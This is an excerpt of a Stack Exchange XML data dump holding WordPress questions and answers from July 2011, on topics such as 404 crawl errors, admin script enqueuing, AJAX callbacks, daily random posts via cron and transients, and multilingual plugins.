  <row Id="24228" PostTypeId="1" CreationDate="2011-07-27T16:08:34.560" Score="0" ViewCount="31" Body="&lt;p&gt;WordPress wraps images in link tags. But, my links were dead. (I don't want my images to have links). Google crawled the pages and gave me 404 Errors for the dead links. I have about 8 dead links all from the same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I removed the dead links from my site. But, Google Webmaster Tools still lists the 404 errors. Do I need to do anything other than remove the dead links? Do I need to simply wait for Google to update the Crawl Errors page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else do I need to do? Should I do 303 redirect of the 8  dead links all to the one page where the images appear? Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-07-27T16:08:34.560" Title="How Can I Fix Google Webmaster Tools 404 Crawl Errors" Tags="&lt;images&gt;&lt;page&gt;&lt;404-error&gt;" />
  <row Id="24229" PostTypeId="1" CreationDate="2011-07-27T16:09:13.107" Score="0" ViewCount="9" Body="&lt;p&gt;I have a typo 3 site with a section (a calendar and events section) that is working well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to redo the site (the other pages) with Wordpress but keep the calendar and events as typo 3. Is there anything I should watch out for or simple ways to display the typo 3 content within the site?&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-07-27T16:09:13.107" Title="Displaying Typo3 pages on a Wordpress Site" Tags="&lt;migration&gt;" />
  <row Id="24230" PostTypeId="2" ParentId="24216" CreationDate="2011-07-27T16:10:41.670" Score="0" ViewCount="" Body="&lt;p&gt;Yes that's the default behavior. When an &quot;author&quot; writes a post, he cannot publish it, only an &quot;editor&quot; (or higher) can do the publishing action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for email notification, there are a couple of plugins for that, here are two : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-status-notifier/&quot; rel=&quot;nofollow&quot;&gt;WP Status Notifier&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-pending-post-notifier/&quot; rel=&quot;nofollow&quot;&gt;WP Pending Post Notifier&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-27T16:10:41.670" />
  <row Id="24231" PostTypeId="2" ParentId="24221" CreationDate="2011-07-27T16:20:59.000" Score="1" ViewCount="" Body="&lt;p&gt;Use the post thumbnail for the single blog pages too. You can use the add_image_size() function to create an additional image size that is displayed on the blog posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size('single-post-image', 650, 250, true); // name, width, height, crop mode&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in single.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail('image-size');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simply place the first function in your functions.php, and the second in single.php. You can then wrap it with whatever you want to control the formatting. This way your formatting will always be perfect and you don't have to worry about sizing images exactly: they're all done for you.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-27T16:20:59.000" />
  <row Id="24232" PostTypeId="1" CreationDate="2011-07-27T16:26:49.823" Score="0" ViewCount="27" Body="&lt;p&gt;What's the process involved with translating content into the language of your own? Or multiple languages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking to create a website that requires various different language translations.&lt;/p&gt;&#xA;" OwnerUserId="5149" LastActivityDate="2011-07-27T19:05:13.893" Title="Translation with wordpress what does the process involve?" Tags="&lt;translation&gt;" AnswerCount="1" />
  <row Id="24233" PostTypeId="1" CreationDate="2011-07-27T16:43:10.707" Score="0" ViewCount="35" Body="&lt;p&gt;Ok I have been using server side validation based on this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/15546/dont-publish-custom-post-type-post-if-a-meta-data-field-isnt-valid&quot;&gt;don&amp;#39;t publish custom post type post if a meta data field isn&amp;#39;t valid&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been a great help. Unfortunately I am a bit stumped on two things. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1). when all the fields are correct - it returns the post as pending. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2). if it's page I am publishing, upon clicking publishing it seems to go straight into pending. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering based on the answer provided by 'somatic' - if anyone knew how where I am going wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies - here's a shortened down version of my code: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;add_action ('save_post', 'save_campaigns', 10, 2);&#xA;    add_action ('save_post', 'completion_validator', 20, 2);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_campaigns($pid, $post)&#xA;{&#xA;    if ( ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE ) || $post-&amp;gt;post_status == 'auto-draft' ) return $pid;&#xA;    if ( $post-&amp;gt;post_type != 'work' ) return $pid;&#xA;&#xA;    update_post_meta($pid, 'campaign_client', $_POST['campaign_client']);&#xA;}&#xA;&#xA;function completion_validator($pid, $post) &#xA;{&#xA;// don't do on autosave or when new posts are first created&#xA;    if ( ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE ) || $post-&amp;gt;post_status == 'auto-draft' ) return $pid;&#xA;    if ( $post-&amp;gt;post_type != 'work' ) return $pid;&#xA;// init completion marker (add more as needed)&#xA;    $meta_missing = false;&#xA;&#xA;&#xA;// retrieve meta to be validated&#xA;    $clientmeta = get_post_meta( $pid, 'campaign_client', true );&#xA;&#xA;&#xA;// just checking it's not empty - you could do other tests...&#xA;    if ( is_null( $clientmeta)) &#xA;    {&#xA;        $meta_missing = true;&#xA;    }&#xA;&#xA;&#xA;&#xA;// on attempting to publish - check for completion and intervene if necessary&#xA;    if ( ( isset( $_POST['publish'] ) || isset( $_POST['save'] ) ) &amp;amp;&amp;amp; $_POST['post_status'] == 'publish' ) &#xA;    {&#xA;    //  don't allow publishing while any of these are incomplete&#xA;        if ($meta_missing == true) &#xA;        {&#xA;            global $wpdb;&#xA;            $wpdb-&amp;gt;update( $wpdb-&amp;gt;posts, array( 'post_status' =&amp;gt; 'pending' ), array( 'ID' =&amp;gt;$pid ) );&#xA;        // filter the query URL to change the published message&#xA;            add_filter( 'redirect_post_location', create_function( '$location','return add_query_arg(&quot;message&quot;, &quot;4&quot;, $location);' ) );&#xA;&#xA;        } &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7244" LastEditorUserId="7244" LastEditorDisplayName="" LastEditDate="2011-07-28T10:17:40.617" LastActivityDate="2011-07-28T10:17:40.617" Title="save/publishing post and post after meta validation on serverside" Tags="&lt;custom-post-types&gt;&lt;validation&gt;" CommentCount="1" />
  <row Id="24234" PostTypeId="1" AcceptedAnswerId="24242" CreationDate="2011-07-27T16:56:50.383" Score="0" ViewCount="30" Body="&lt;p&gt;&lt;strong&gt;Here is an example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cat 1 has 6 post:&#xA;( post 1 , post 2 , post 3, post 4 etc.. )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cat 2 has 6 post:&#xA;( post 1 , post 2 , post 3, post 4 etc.. )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;i want to display random post like this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today's CAT 1 Random post : Post 2&#xA;Today's CAT 2 Random Post : Post 5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the posts has to change per 24 hours. Is it possible. Thanks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;( Sorry about my bad Eng )  &lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2011-07-27T18:02:08.067" Title="How to display Changing post link for 24 hours in x category" Tags="&lt;posts&gt;" AnswerCount="1" />
  <row Id="24235" PostTypeId="1" AcceptedAnswerId="24308" CreationDate="2011-07-27T16:57:14.797" Score="0" ViewCount="137" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I managed to get the AJAX working, but not in the click event. I updated the question to match this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying some code I found on the page: &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;'AJAX in Plugins'&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I can't get it to work, and I Don't really know where to start looking.&#xA;It works when I remove the click function and just run the code on pageload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Javascript file that looks ike this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){&#xA;    jQuery(&quot;#createremotesafe&quot;).click(function(){&#xA;        alert ('test');&#xA;        var data = {&#xA;            action: 'my_action',&#xA;            whatever: 1234&#xA;        };&#xA;&#xA;        // since 2.8 ajaxurl is always defined in the admin header and points to admin-ajax.php&#xA;&#xA;        jQuery.post(ajaxurl, data, function(response) {&#xA;            alert('Got this from the server: ' + response);&#xA;        });&#xA;    });    &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and somewhere in my PHP script that generates the button that should execute the Javascript (i.e. the admin page), and also the rest of the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_ajax_my_action', 'my_action_callback');&#xA;echo 'test2';&#xA;function my_action_callback() {&#xA;  global $wpdb; // this is how you get access to the database&#xA;  $whatever = $_POST['whatever'];&#xA;  $whatever += 10;&#xA;  echo $whatever;&#xA;  die(); // this is required to return a proper result&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get both the &lt;code&gt;Alert ('test')&lt;/code&gt;  and the &lt;code&gt;echo 'test2'&lt;/code&gt;, but not the response alert. There are no Javascript errors or anything. My code is definitely running, since I can see both 'test's, but why isn't AJAX getting any response? &#xA;Does my php function disappear after page load? Maybe I can't/shouldn't use the built in wp AJAX functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also doesn't show an empty alert box, just nothing happens.&lt;/p&gt;&#xA;" OwnerUserId="3807" LastEditorUserId="3807" LastEditorDisplayName="" LastEditDate="2011-07-28T16:11:38.290" LastActivityDate="2011-08-12T18:12:18.800" Title="How can I run AJAX on a button click event?" Tags="&lt;plugin-development&gt;&lt;javascript&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="24236" PostTypeId="1" AcceptedAnswerId="24273" CreationDate="2011-07-27T16:58:00.417" Score="1" ViewCount="83" Body="&lt;p&gt;Can I change the name of the wp-login or wp-admin file so that I can go to a different filename in order to login. I am trying to prevent hackers from finding my login and wp-login has become a very obvious option. &lt;/p&gt;&#xA;" OwnerUserId="7355" LastActivityDate="2011-08-09T17:37:03.923" Title="Change WP-Login or WP-Admin" Tags="&lt;wp-admin&gt;&lt;admin&gt;&lt;login&gt;&lt;security&gt;&lt;hacked&gt;" AnswerCount="4" CommentCount="2" />
  <row Id="24237" PostTypeId="1" AcceptedAnswerId="24243" CreationDate="2011-07-27T17:17:46.680" Score="2" ViewCount="90" Body="&lt;p&gt;I need to add a bit of document ready jQuery to post/page editors in admin. I'm hacking an old plugin that adds a text box to the editor page and handles inserting that text in a template file, but the text input is only html; this document ready function adds the class of mceEditor to the text box. This function works when I manually include it in admin-header.php, but I can't do that, of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think I need to enqueue it, as it is not a library. Or do I? And, if applicable:  what are the pros/cons of different ways to add it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I hook this or otherwise load it into the post/page editors in admin? It needs to go into the plugin file, not functions.php in the theme.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;jQuery(document).ready( function () { &#xA;    jQuery(&quot;#dt-additional-info&quot;).addClass(&quot;mceEditor&quot;); &#xA;    if ( typeof( tinyMCE ) == &quot;object&quot; &amp;amp;&amp;amp; typeof( tinyMCE.execCommand ) == &quot;function&quot; ) {&#xA;        jQuery(&quot;#dt-additional-info&quot;).wrap( &quot;&amp;lt;div id='editorcontainer'&amp;gt;&amp;lt;/div&amp;gt;&quot; ); &#xA;        tinyMCE.execCommand(&quot;mceAddControl&quot;, false, &quot;dt-additional-info&quot;);&#xA;    }&#xA;});&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-07-28T09:02:57.190" Title="Add a jQuery function to admin pages" Tags="&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;jquery&gt;" AnswerCount="2" />
  <row Id="24238" PostTypeId="2" ParentId="24237" CreationDate="2011-07-27T17:31:51.490" Score="2" ViewCount="" Body="&lt;p&gt;Some time ago I needed something like this, this is what I used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function admin_js() { ?&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;        jQuery(document).ready( function () { &#xA;           jQuery(&quot;#dt-additional-info&quot;).addClass(&quot;mceEditor&quot;); &#xA;           if ( typeof( tinyMCE ) == &quot;object&quot; &amp;amp;&amp;amp; typeof( tinyMCE.execCommand ) == &quot;function&quot; ) {&#xA;               jQuery(&quot;#dt-additional-info&quot;).wrap( &quot;&amp;lt;div id='editorcontainer'&amp;gt;&amp;lt;/div&amp;gt;&quot; ); &#xA;               tinyMCE.execCommand(&quot;mceAddControl&quot;, false, &quot;dt-additional-info&quot;);&#xA;         }&#xA;        });&#xA;&#xA;    &amp;lt;/script&amp;gt;&#xA;&amp;lt;?php }&#xA;add_action('admin_head', 'admin_js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At that time, I just hooked it to the &lt;code&gt;admin_head&lt;/code&gt; action, now I know there's &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference#Actions_Run_During_an_Admin_Page_Request&quot; rel=&quot;nofollow&quot;&gt;a whole lot of actions&lt;/a&gt;. Perhaps in this case would be better to hook it to the &lt;code&gt;admin_print_scripts&lt;/code&gt; action:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_print_scripts', 'admin_js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This will print the script in the page, if you want to keep it in an external file you'll have to queue it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function admin_js() {&#xA;    wp_register_script('admin_js', plugins_url( .'/yourplugin/admin-js.js' . ),  array('jquery'));&#xA;    wp_enqueue_script('admin_js');&#xA;}&#xA;add_action('admin_enqueue_scripts', 'admin_js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in your &lt;code&gt;admin-js.js&lt;/code&gt; file, the javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    jQuery(document).ready( function () { &#xA;       jQuery(&quot;#dt-additional-info&quot;).addClass(&quot;mceEditor&quot;); &#xA;       if ( typeof( tinyMCE ) == &quot;object&quot; &amp;amp;&amp;amp; typeof( tinyMCE.execCommand ) == &quot;function&quot; ) {&#xA;           jQuery(&quot;#dt-additional-info&quot;).wrap( &quot;&amp;lt;div id='editorcontainer'&amp;gt;&amp;lt;/div&amp;gt;&quot; ); &#xA;           tinyMCE.execCommand(&quot;mceAddControl&quot;, false, &quot;dt-additional-info&quot;);&#xA;         }&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using both this methods on option pages and both of them work with no problems.&lt;/p&gt;&#xA;" OwnerUserId="7361" LastEditorUserId="7361" LastEditorDisplayName="" LastEditDate="2011-07-27T19:06:59.223" LastActivityDate="2011-07-27T19:06:59.223" CommentCount="1" />
  <row Id="24239" PostTypeId="1" AcceptedAnswerId="24241" CreationDate="2011-07-27T17:39:40.273" Score="0" ViewCount="54" Body="&lt;p&gt;So here is the thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm creating a site. A user can register in my site and post articles. The thing is I don't want separate admin area to post articles. I want to integrate everything in my theme. So the user don't need to go to wp-admin to create posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using magic fields plugin. I created a custom write panel. Now my only problem is i don't know what shortcode or hook i should use to display that custom write panel in my theme. I mean i want the whole write panel in my theme.  Here is a sample snapshot of custom write panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ftSqQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to display the whole custom panel in my frontend. So logged in users can submit articles from that page. I hope you guys get what i mean. Thanks&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-07-27T17:49:11.697" Title="How to display magic field's custom write panel in wordpress theme?" Tags="&lt;custom-post-types&gt;&lt;theme-development&gt;&lt;wp-admin&gt;&lt;plugin-magic-fields&gt;" AnswerCount="1" />
  <row Id="24240" PostTypeId="1" CreationDate="2011-07-27T17:44:24.310" Score="1" ViewCount="130" Body="&lt;p&gt;And I've tried disabling all plugins and using the Twenty Eleven theme. In our sites network, I'm the network admin, so it's not a permissions issue. Any explanation or ways I might be able to approach debugging this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I apologize for the original lack of detail; I was in a rush to a meeting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By &quot;not working&quot;, I mean specifically:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;On none of my network sites do I see 3 of the 4 insertion icons you would usually see at the top of the post/page editors. The one that looks like a starburst (Media Insert) is there, but literally does nothing when you click it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Images from previous articles that have been embedded: If you click them, you still get the edit and remove buttons overlaying them. But clicking the edit button only serves to bring up the darkened screen overlay, and no media wizard.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This only happened after our upgrade to 3.2.1 from 3.0&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;We &lt;em&gt;can&lt;/em&gt; upload media through the media area of the admin backend, but &lt;em&gt;only&lt;/em&gt; through that area.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope this helps paint a better picture of what's happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cracked open the Chrome debugger on that window, and I'm getting this error: may be related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/5RZu9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit-Note: (From a comment to an answer below) &quot;I guess maybe I used the wrong verbiage, but in the post, I was trying to convey that I had already tried fixing by disabling all plugins. No avail.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-28T12:07:35.283" LastActivityDate="2011-07-28T12:07:35.283" Title="Image Insert into posts and pages not working after 3.2.1 update" Tags="&lt;posts&gt;&lt;images&gt;&lt;update&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="24241" PostTypeId="2" ParentId="24239" CreationDate="2011-07-27T17:49:11.697" Score="1" ViewCount="" Body="&lt;p&gt;I'm afraid it won't work quite like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plugins that enable posting from the front end, such as &lt;a href=&quot;http://wordpress.org/extend/plugins/tdo-mini-forms/&quot; rel=&quot;nofollow&quot;&gt;TDO Mini Forms&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13430/front-end-post-submit-form/14019#14019&quot;&gt;see this answer&lt;/a&gt; for creating a form and code yourself.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-27T17:49:11.697" />
  <row Id="24242" PostTypeId="2" ParentId="24234" CreationDate="2011-07-27T18:02:08.067" Score="2" ViewCount="" Body="&lt;p&gt;You could always use get_posts() to return a random post, but it would change every time the page loaded.  So, here's an idea for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a plugin file, set up a &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_schedule_event&quot; rel=&quot;nofollow&quot;&gt;wp_cron&lt;/a&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/* Your plugin header goes here */&#xA;&#xA;register_activation_hook( __FILE__, 'wpse24234_activation' );&#xA;function wpseo24234_activation()&#xA;{&#xA;    wp_schedule_event( time(), 'daily', 'wpse24234_daily' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then hook a function into your cron action that grabs a random post (via get_posts()) and stores it in a &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;transient&lt;/a&gt; that expires every 24 hours.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wpse24234_daily', 'wpse24234_daily_cb' );&#xA;function wpse24234_daily_cb()&#xA;{&#xA;    $posts = get_posts( array( 'cat' =&amp;gt; YOUR_CATEGORY_ID_HERE, 'numberposts' =&amp;gt; 1, 'orderby' =&amp;gt; 'rand' ) );&#xA;    if( ! empty( $posts ) )&#xA;        set_transient( 'cat_1_post', $posts[0]-&amp;gt;ID, 60 * 60 * 12 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then on the front end, you can get the post ID with get transient, and use the ID to pull in whatever other stuff you'd like.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/* Somewhere on your site */&#xA;$id = get_transient( 'cat_1_post' );&#xA;&#xA;$link = '&amp;lt;a href=&quot;' . get_permalink( $id ) . '&quot;&amp;gt;' . get_the_title( $id ) . '&amp;lt;/a&amp;gt;';&#xA;?&amp;gt;&#xA;&#xA;Todays random post from Category 1 is &amp;lt;?php echo $link; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll have to do some testing to see if this will work for you, of course.&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-07-27T18:02:08.067" CommentCount="8" />
  <row Id="24243" PostTypeId="2" ParentId="24237" CreationDate="2011-07-27T18:09:48.027" Score="4" ViewCount="" Body="&lt;p&gt;I'd be inclined to just do a one off enqueue and be done with it..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It means you have to manage an additional file(the JS file), but when you're writing code it's usually a good idea to create some form of organisation with your files(or at least get into the habit of doing so), ie. javascript/jquery in one folder, css is another, keeping PHP and HTML in your main plugin PHP files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my suggestion would be to move the jQuery into a js file, then run an enqueue setting jQuery as a dependancy, but no need to register it for a one off call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quite a few choices with regard to hooks, but i'd personally go for..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function yournamespace_enqueue_scripts( $hook ) {&#xA;&#xA;    if( !in_array( $hook, array( 'post.php', 'post-new.php' ) ) )&#xA;        return;&#xA;&#xA;    wp_enqueue_script( &#xA;        'your_script_handle',                         // Handle&#xA;        plugins_url( '/yourfilename.js', __FILE__ ),  // Path to file&#xA;        array( 'jquery' )                             // Dependancies&#xA;    );&#xA;}&#xA;add_action( 'admin_enqueue_scripts', 'yournamespace_enqueue_scripts', 2000 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simply adjust the pages you need the enqueue to run on - in the &lt;code&gt;in_array()&lt;/code&gt; call.&lt;/p&gt;&#xA;" OwnerUserId="2962" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-28T09:02:57.190" LastActivityDate="2011-07-28T09:02:57.190" CommentCount="2" />
  <row Id="24244" PostTypeId="2" ParentId="3605" CreationDate="2011-07-27T18:18:21.717" Score="0" ViewCount="" Body="&lt;p&gt;Make sure you lint your URL here if the specified image is not appearing properly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://developers.facebook.com/tools/lint/&quot; rel=&quot;nofollow&quot;&gt;http://developers.facebook.com/tools/lint/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7399" LastActivityDate="2011-07-27T18:18:21.717" />
  <row Id="24245" PostTypeId="2" ParentId="3986" CreationDate="2011-07-27T18:23:56.487" Score="0" ViewCount="" Body="&lt;p&gt;I just tried revisionary and and Post Revision Workflow, they seem to work about the same. Any I think they would confuse a reviewer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other plugin I liked but didn't seem to offer this feature is Edit Flow. It would be perfect if they could add this functionality to their plugin.&lt;/p&gt;&#xA;" OwnerUserId="7400" LastActivityDate="2011-07-27T18:23:56.487" />
  <row Id="24246" PostTypeId="2" ParentId="24232" CreationDate="2011-07-27T19:05:13.893" Score="1" ViewCount="" Body="&lt;p&gt;take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/qtranslate/&quot; rel=&quot;nofollow&quot;&gt;qTranslate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;qTranslate Services - Professional human and automated machine&#xA;translation with two clicks&lt;/li&gt;&#xA;&lt;li&gt;One-Click-Switching between the languages - Change the language as&#xA;easy as switching between Visual and HTML&lt;/li&gt;&#xA;&lt;li&gt;Language customizations without changing the .mo files - Use&#xA;Quick-Tags instead for easy localization&lt;/li&gt;&#xA;&lt;li&gt;Multilingual dates out of the box - Translates dates and time for you&#xA;   Comes with a lot of languages already builtin! - English, German,&#xA;Simplified Chinese and a lot of others&lt;/li&gt;&#xA;&lt;li&gt;No more juggling with .mo-files! - qTranslate will download them&#xA;automatically for you&lt;/li&gt;&#xA;&lt;li&gt;Choose one of 3 Modes to make your URLs pretty and SEO-friendly. -&#xA;The everywhere compatible ?lang=en, simple and beautiful /en/foo/ or&#xA;nice and neat en.yoursite.com&lt;/li&gt;&#xA;&lt;li&gt;One language for each URL - Users and SEO will thank you for not&#xA;mixing multilingual content&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-27T19:05:13.893" />
  <row Id="24247" PostTypeId="2" ParentId="24240" CreationDate="2011-07-27T19:11:07.553" Score="2" ViewCount="" Body="&lt;p&gt;Sounds like it might be a plugin conflict - maybe a plugin loading jquery and overriding the native WP version with something older? Try disabling them one by one. Hope this helps! &lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-27T19:11:07.553" CommentCount="6" />
  <row Id="24248" PostTypeId="1" CreationDate="2011-07-27T19:17:38.653" Score="0" ViewCount="45" Body="&lt;p&gt;I have a client who wants to have online application forms for their non profit service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used Contact Form 7 in the past, since its pretty flexible and you can have lots of fields, radio buttons etc which I LOVE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only concern is that just sends a plain text email, they want a way that they can save the data into a spreadsheet or database of some sort. Weither it attaches a xml to an email when the form is filled, or it saves it in the admin where you can then export it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything out there like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR is there even a way to have a PDF online where people can type in it, fill it in then email it off? Since all the documents are in PDF form already this would be even easier.&lt;/p&gt;&#xA;" OwnerUserId="7125" LastActivityDate="2011-07-27T19:49:17.843" Title="Detailed form plugin, with ability to export to excel etc. OR edit PDF live?" Tags="&lt;plugins&gt;&lt;forms&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="24249" PostTypeId="1" AcceptedAnswerId="24255" CreationDate="2011-07-27T19:24:03.673" Score="1" ViewCount="49" Body="&lt;p&gt;I am tempted to change my blog to be site.com/postname.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that for new posts Wordpress is smart enough to add a unique number to them, but what about old posts that would get updated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can run a database check for duplicates and manually fix them but I was wondering if this was already covered by some Wordpress magic?&lt;/p&gt;&#xA;" OwnerUserId="1213" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-28T10:20:08.913" LastActivityDate="2011-07-28T10:20:08.913" Title="If the only permalink setting is %postname% what happens in the case of old duplicates?" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;duplicates&gt;" AnswerCount="2" />
